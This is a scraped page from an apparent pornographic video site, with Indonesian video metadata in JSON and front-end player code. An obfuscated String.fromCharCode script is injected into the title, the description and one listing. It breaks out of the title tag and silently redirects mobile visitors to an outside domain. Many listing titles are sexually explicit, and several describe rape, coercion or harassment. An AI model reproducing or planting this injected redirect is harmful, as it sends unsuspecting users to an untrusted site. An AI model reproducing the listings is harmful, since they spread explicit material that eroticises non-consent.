</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Inilah yang terjadi pada hari itu ketika saya dirayu oleh karyawan baru dan dipaksa mencapai orgasme oleh si iblis kecil, dan kemudian saya menjadi seorang masokis. Honda Hitomi Honda Hitomi MEGAMI
Inilah yang terjadi pada hari itu ketika saya dirayu oleh karyawan baru dan dipaksa mencapai orgasme oleh si iblis kecil, dan kemudian saya menjadi seorang masokis. Honda Hitomi Honda Hitomi MEGAMI","site_id":0,"video_url":"https://2605.v155p.com/20260613/Dx9bCfdZ/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZjRiMTEzNzc5ZDViMzc4OTU4Mzk2ODliMTgzOTY3YWYuanBn.cache","duration":"01:58:34","actor":[],"lastmod":1783766805,"rating":"6.0","view_count":581,"description":"Inilah yang terjadi hari itu ketika aku dirayu oleh karyawan baru dan dipaksa mencapai orgasme oleh si iblis kecil itu, mengubahku menjadi seorang masokis. Honda Hitomi, Honda Hitomi, MEGAMI","tag":["Karyawan baru","staf","menggoda","kejahatan kecil","Setan Kecil","setan","klimaks","menjadi","kesenangan karena menderita","masokis","Honda","Honda Hitomi"],"site_url":"175928","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女优明星"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZjRiMTEzNzc5ZDViMzc4OTU4Mzk2ODliMTgzOTY3YWYuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"这就是那天我被新进员工勾引小恶魔逼到高潮后,变成受虐狂的事。本田仁美 本田瞳 MEGAMI","s_keywords":"这就是那天我被新进员工勾引小恶魔逼到高潮后,变成受虐狂的事。本田仁美 本田瞳 MEGAMI","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Inilah yang terjadi pada hari itu ketika saya dirayu oleh karyawan baru dan dipaksa mencapai orgasme oleh si iblis kecil, dan kemudian saya menjadi seorang masokis. Honda Hitomi Honda Hitomi MEGAMI","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2Q2MjZlOTg2ZTc5M2ZhNjQyODBmZmU2Y2IyYTZhNTYuanBn.cache","vod_id":18937794,"title":"Seorang pemuda tampan dari sebuah perguruan tinggi internasional berhasil memikat hati seorang wanita Rusia yang cantik dan berkulit putih. Mereka berfoto selfie bersama, dan wanita itu, dengan tubuh mungil dan penis putihnya, mencapai klimaks dan mengerang.","lastmod":"2025-12-14","duration":"00:07:54","url":"/play/18937794.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTU3ZDBiYTUwZWM0M2Y0NThjZDliMTg3Yzg0ZGY2MGMuanBn.cache","vod_id":18980503,"title":"[Subtitle Bahasa Mandarin] IPZZ-083 Saya dilecehkan selama dua jam penuh di kereta menuju pekerjaan baru saya... dan akibatnya... pelecehan seksual di kereta selama sebulan mengubah seluruh tubuh saya menjadi zona erotis.","lastmod":"2025-12-14","duration":"02:28:42","url":"/play/18980503.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODNmOGZmZjEyMTFmZmJjNTUzMTlkN2M3Zjg2NDZiOGYuanBn.cache","vod_id":18959825,"title":"Selebriti internet yang biseksual, pelatihan SM wanita dewasa ratu maya langganan ikatan tali penyiksaan payudara pengekangan orgasme paksa cambuk DID-(12)","lastmod":"2025-03-22","duration":"00:01:08","url":"/play/18959825.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODY2ODUwMzI2OTdmNTM0NDcyYzdlOTkwYzU4ZjFhOWQuanBn.cache","vod_id":18971368,"title":"[Tanpa Sensor] 277DCV-220 Bisakah aku mengantarmu pulang? Kasus 214 [Menghitung 3, 2, 1, 0 sudah cukup untuk membuatmu orgasme] Berkembang di rumah bordil","lastmod":"2025-03-23","duration":"01:42:34","url":"/play/18971368.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTUwNDcwY2Q0YmQwY2NiYzJmMjE1MzVmNmRkMDFiNTIuanBn.cache","vod_id":18966797,"title":"SSNI-343 Kenikmatan! Pengalaman Pertama 6: Orgasme Pertama Shion yang Malu-malu dengan Payudara Alami Ukuran I - Spesial Seks - Shion Yumi","lastmod":"2025-03-22","duration":"02:39:12","url":"/play/18966797.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzMyMzU3MGMzMjY2N2YzZWQxODczZTdkODI5NDMwYTYuanBn.cache","vod_id":19024574,"title":"MIDV415C \"Aku lebih hebat dari adikmu, kan?\" Adik perempuan pacarku sangat mahir menjilati vaginanya, dan aku tipe pria yang tergoda dan jatuh cinta padanya.","lastmod":"2025-03-24","duration":"02:30:50","url":"/play/19024574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzIzNjRiNWFlNWE3MjM2YzY4NzdmZGU2ZDYxOGQwNzcuanBn.cache","vod_id":18965191,"title":"Selama pelatihan karyawan baru di sebuah salon kecantikan kelas atas, DOCP-078 dipaksa menjalani perawatan tidak senonoh dengan cara yang cabul, di mana bokongnya yang indah diremas hingga cairan dari anusnya mulai meluap.","lastmod":"2025-12-14","duration":"04:05:19","url":"/play/18965191.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDM4YmIyMmJhMDkwMmNjZGYyMDk0YTJjY2Y5ODcwZTMuanBn.cache","vod_id":19025286,"title":"SSNI301 benar-benar melumpuhkan pinggang Yua Mikami yang bergetar saat ia mencapai klimaks yang tak terbendung, dengan dorongan tanpa henti selama berhubungan seks.","lastmod":"2025-03-24","duration":"03:41:44","url":"/play/19025286.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZjRiMTEzNzc5ZDViMzc4OTU4Mzk2ODliMTgzOTY3YWYuanBn.cache","vod_id":19163226,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Inilah yang terjadi pada hari itu ketika saya dirayu oleh karyawan baru dan dipaksa mencapai orgasme oleh si iblis kecil, dan kemudian saya menjadi seorang masokis. Honda Hitomi Honda Hitomi MEGAMI","lastmod":"2026-07-11","duration":"01:58:34","url":"/play/19163226.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjI0L2xwTHpldEE3LzEuanBn.cache","vod_id":19145319,"title":"Adik perempuan Lin berubah menjadi gadis nakal untuk merayumu.","lastmod":"2026-02-25","duration":"31:00","url":"/play/19145319.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTlkMDgzMzNlZGUxNjBiNWZhZWJjNmYxYmNiZGJhOWYuanBn.cache","vod_id":18978778,"title":"FOCS-123 300 Pasangan Pribadi!? Seorang wanita yang tampak polos namun sebenarnya murahan melakukan debutnya. Bintang erotis Tozaki Meijiu membuat para pria mengalami orgasme berkali-kali, membanjiri mereka dengan air mani pada kali pertamanya.","lastmod":"2025-12-14","duration":"02:07:02","url":"/play/18978778.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTFkZDAwNWM4MzVhMTc4NmNiNjIyMDkxNTQzMDUzZTQuanBn.cache","vod_id":18975247,"title":"[Subtitle Bahasa Mandarin] RKI-634 Pesta Seks Kelompok Super Pria Paling Sering Ejakulasi di Dunia Baru - Honda Momo","lastmod":"2025-12-14","duration":"02:13:50","url":"/play/18975247.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzFhNDA4ZWMwMzA2MjYzNmRhOTVmMDFlN2RkYTYzNjQuanBn.cache","vod_id":18992774,"title":"JUFE-072 Seorang mahasiswi yang melarikan diri setelah diperkosa ditangkap dan dipermalukan. Seluruh tubuhnya dimodifikasi menjadi organ seksual, dan dia dimakan saat melakukan hubungan seks orgasme abnormal. Karen Mifner 1","lastmod":"2025-12-14","duration":"02:25:09","url":"/play/18992774.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjM0NWQ0MDA1OWFlMjRkZDIzMjAwNjNjYmM3M2Y4MGIuanBn.cache","vod_id":18956497,"title":"FANH-125 Akiba JK Gadis Pijat Kaki Berpayudara Besar Suzuka-chan, si iblis kecil JD yang suka rayuan manis, video POV close-up di balik layar, dorongan seperti piston yang tanpa ampun dan ganas, orgasme terus menerus, ejakulasi internal paksa, diterima.","lastmod":"2025-12-14","duration":"02:21:47","url":"/play/18956497.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTQxM2Y3ZTM2YTQ1OTk2YzQ3ZWNkYWM5MTNiNDZlZjEuanBn.cache","vod_id":18960341,"title":"[Subtitle Bahasa Mandarin] SSIS-581 Aoi Sola melancarkan penggerebekan darurat 24 jam di rumah tiga pria masokis! Sepenuhnya improvisasi.","lastmod":"2025-12-14","duration":"03:09:40","url":"/play/18960341.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmNiZWI4NGE0ZTVlZDFhYzViNTAyMWNkYzcwMGNjOGIuanBn.cache","vod_id":18982448,"title":"[Tanpa Sensor] MIDV-301 Pijat minyak pengembangan seksual berbasis pantang, berkeringat, ejakulasi cairan cinta sepenuhnya, orgasme. Goba","lastmod":"2025-03-23","duration":"03:17:51","url":"/play/18982448.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDFiZDY1ZDcwMjgyMTJkNmVmZmY4ZTZkYjEwMDFkOTguanBn.cache","vod_id":18988582,"title":"HND-722 (HD) Seorang ibu rumah tangga bertubuh montok dengan ejakulasi dini dan konstitusi sensitif yang rentan terhadap orgasme seluruh tubuh bekerja di toko sabun mandi busa tanpa batasan. Naoko Akase [Disensor, Definisi Tinggi, Subtitel Bahasa Mandarin].","lastmod":"2025-12-14","duration":"01:58:19","url":"/play/18988582.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGUwM2VkNTk0YTI4MGJlNzk2YTAwNTc3NTFkMWM0MDQuanBn.cache","vod_id":19008709,"title":"NHDTB331 adalah seorang pelatih yang memaksa atlet ke posisi berkuda yang dipaksakan dan mencapai orgasme dengan melengkungkan punggung mereka.","lastmod":"2025-03-24","duration":"02:35:03","url":"/play/19008709.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWExMDU0YjU5OGEzYmNkOTNlYThlMzEzMzMyNWFhY2IuanBn.cache","vod_id":18944985,"title":"Seorang wanita cantik berbaju putih, dengan penampilan memukau dan sikap elegan, [Kucing Schrödinger], muncul mengenakan lingerie dan menggunakan alat bantu untuk masturbasi. Adegan close-up saat ia mencapai klimaks dengan penis bergetar ditampilkan. Sangat menggoda, jangan sampai ketinggalan!","lastmod":"2025-03-22","duration":"01:39:49","url":"/play/18944985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGYxOWRkOTMzY2I4ZjA2NDU2YTAyN2UwODE5MGRhZTMuanBn.cache","vod_id":18971921,"title":"[Subtitle Bahasa Mandarin] STARS-805 Kandung Kemih Meledak, Dorongan Kuat! Ejakulasi, Semburan Air, Air Kencing! Orgasme Berganda, Air Kencing Mengalir Tak Terkendali!","lastmod":"2025-12-14","duration":"01:57:23","url":"/play/18971921.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDJhNWE3ZGVkMWJiYjYzZjQxNDhjYjhkNGJkYTA4NWUuanBn.cache","vod_id":18975719,"title":"Seorang gadis cantik sedang berhubungan seks di luar ruangan, tanpa pengaman, dan mengalami penetrasi berulang kali hingga mencapai orgasme. Payudaranya mengeluarkan cairan.","lastmod":"2025-03-23","duration":"00:08:19","url":"/play/18975719.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTI1MDE2NzQyMDM0Zjk5NTBjYzc5OWRmNzEwZDU5ODAuanBn.cache","vod_id":18930256,"title":"KNAM-013 Sepenuhnya Liar [email protected] Hikaru #KelinciKetatDanLiar #PayudaraCantik #MahasiswiCupDC #OrgasmeMainanDenganMataTertutup #InseminasiBerkelanjutan #DiaTidakBisaMenolakKeliaran #HanyaKeliaranYangBisaDiaMencapaiOrgasme Hikaru Takagi","lastmod":"2025-12-14","duration":"02:14:02","url":"/play/18930256.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDZmZWQwOWI0NTNiZDdkNzAzMDYyMGY0ODA0ZjgxYTYuanBn.cache","vod_id":18980772,"title":"MRSS-004 Bokong Indah × Istri Cantik × Vagina Indah: Seorang wanita menikah masokis yang hamil karena sperma! Seorang wanita dengan anus yang sepenuhnya terbuka, dikenal karena kecanduan seksnya.","lastmod":"2025-12-14","duration":"02:00:20","url":"/play/18980772.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWViMGFmMWIzYjI3NjYwNTQ0NzQyMjg5MzcxZWE1ZDYuanBn.cache","vod_id":18946074,"title":"ACME-007 Pendidikan seks mendalam di tempat tidur. Vagina yang lengket ditembus, dan orgasme pun terjadi.","lastmod":"2025-03-22","duration":"01:08:37","url":"/play/18946074.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Inilah yang terjadi pada hari itu ketika saya dirayu oleh karyawan baru dan dipaksa mencapai orgasme oleh si iblis kecil, dan kemudian saya menjadi seorang masokis. Honda Hitomi Honda Hitomi MEGAMI',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}